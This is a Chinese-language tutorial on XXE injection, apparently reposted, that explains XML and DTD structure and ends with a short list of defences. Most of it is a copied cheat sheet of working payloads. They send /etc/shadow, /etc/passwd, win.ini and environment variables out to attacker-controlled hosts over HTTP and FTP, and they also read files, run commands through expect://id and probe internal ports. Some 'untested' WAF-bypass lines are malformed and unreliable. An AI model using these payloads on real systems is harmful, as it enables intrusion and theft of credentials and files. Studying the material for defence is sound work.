1. 程式人生 > 其它 >XXE 成因分析與應用

XXE 成因分析與應用

xxe簡介

XML External Entity Injection,xml外部實體注入漏洞

當允許引用外部實體時,通過構造惡意內容可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。

可能的場景

很多的網站都會對xml檔案進行解析,解析的時候都有可能出現可用的XXE漏洞,從而被攻擊利用,攻擊的方法基於實體中可以使用的協議。

像XML檔案作為配置檔案的系統(spring、Struts2等)、文件結構說明檔案(PDF、RSS等)、圖片格式檔案(SVG header),soap通訊通訊格式,甚至有道題目的引數為Yiruma處理中也涉及到了對xml檔案的解析,此外,網上有一些線上XML格式化工具,還有一ctf題目中的將csv檔案轉化為xml檔案的功能,都可能涉及到不安全的XML檔案解析從而存在攻擊點。

XXE的成因分析

產生原因是XML文件結構和DTD文件型別定義漏洞,引數過濾不嚴

xml文件結構

XML文件有三個部分:

<!--第一部分:XML申明-->
<?xml version="1.0"?>
<!--第二部分:文件型別定義-->
<!DOCTYPE note [ <!--定義此文件是 note 型別的文件-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”型別-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”型別-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”型別-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”型別-->
]>
<!--第三部分:文件元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

第二部分就是xml文件的DTD部分,也是攻擊的產生點。

XXE Payloads

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>

## External dtd: ##

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">

---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>

## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">

-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;


-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

## External dtd: ##
<!ENTITY all "%start;%stuff;%end;">

------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>

## External dtd: ##

<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">

-------------------------^ you might need to encode this % (depends on your target) as: &#x25;

--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>


## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

DTD文件型別定

1)DTD內部、外部宣告

內部DTD:
假如 DTD 被包含在您的 XML 原始檔中,它應當通過下面的語法包裝在一個 DOCTYPE 宣告中:
<!DOCTYPE root-element [element-declarations]>

外部DTD:
假如 DTD 位於 XML 原始檔的外部,那麼它應通過下面的語法被封裝在一個 DOCTYPE 定義中:
<!DOCTYPE root-element SYSTEM “filename”>
解析時會呼叫外部DTD檔案filename

2)DTD引數實體、非引數實體

除了外部和內部的宣告之外,DTD的實體還有引數和非引數之分。

其中引數實體只能在DTD內部(XML的第二部分)以%實體名的方式引用,而非引數實體則可在XML文件元素,也就是XML的第三個部分以&實體名的方式引用

舉例:

這是一個內部實體+非引數實體,引數在XML文件文件元素部分引用,不能使用協議
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">
]>
<foo>
<value>&name;</value>
</foo>
這是一個外部實體+引數實體,引數在XML文件DTD內部引用,可以使用外部協議
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

XXE利用方式

使用hackbar post構造的xml文件,或者burpsuite抓包進行post

A) 有回顯的注入

1)任意檔案讀取
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<foo>
<value>&file;</value>
</foo>
2)命令執行

在安裝expect擴充套件的PHP環境裡執行系統命令,其他協議也有可能可以執行系統命令

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
3)內網埠探測
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>

可以對80埠進行探測,一般會探測比較常用的埠。

4)攻擊內網網站

結合網站框架本身的漏洞,如struts2

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
5)過濾了ENTITY關鍵字

DTD文件支援這麼一種定義,直接在定義文件型別的時候引入外部DTD文件,也就是在xml文件的第三部分使用ENTITY,所以在DTD文件型別定義中過濾了ENTITY的情況下,同樣可以實現以上的四種方法。

<!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd">   #????  test?  svg?
<root>&test;</root>
evil.dtd
<!ENTITY test SYSTEM "file:///etc/passwd">

可以看到在文件內容的部分使用了惡意的程式碼構造。

6)行不通的方法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY %param1 "file:///c:/1.txt">
<!ENTITY %param2 "http://127.0.0.1/?payload=%param1">
%param2;
]>

這樣看起來可以讀取系統檔案內容來作為payload,是個可用的方法。 但是這樣做行不通,原因是不能在實體定義中引用引數實體,即有些直譯器不允許在內層實體中使用外部連線,無論內層是一般實體還是引數實體。

B) 無回顯的XXE漏洞—Blind XXE

xxe防禦

  1. 使用開發語言提供的禁用外部實體的方法;
  2. 過濾使用者提交的XML資料;
    1. 檢查所使用的底層xml解析庫,預設禁止外部實體的解析
    2. 使用第三方應用程式碼及時升級補丁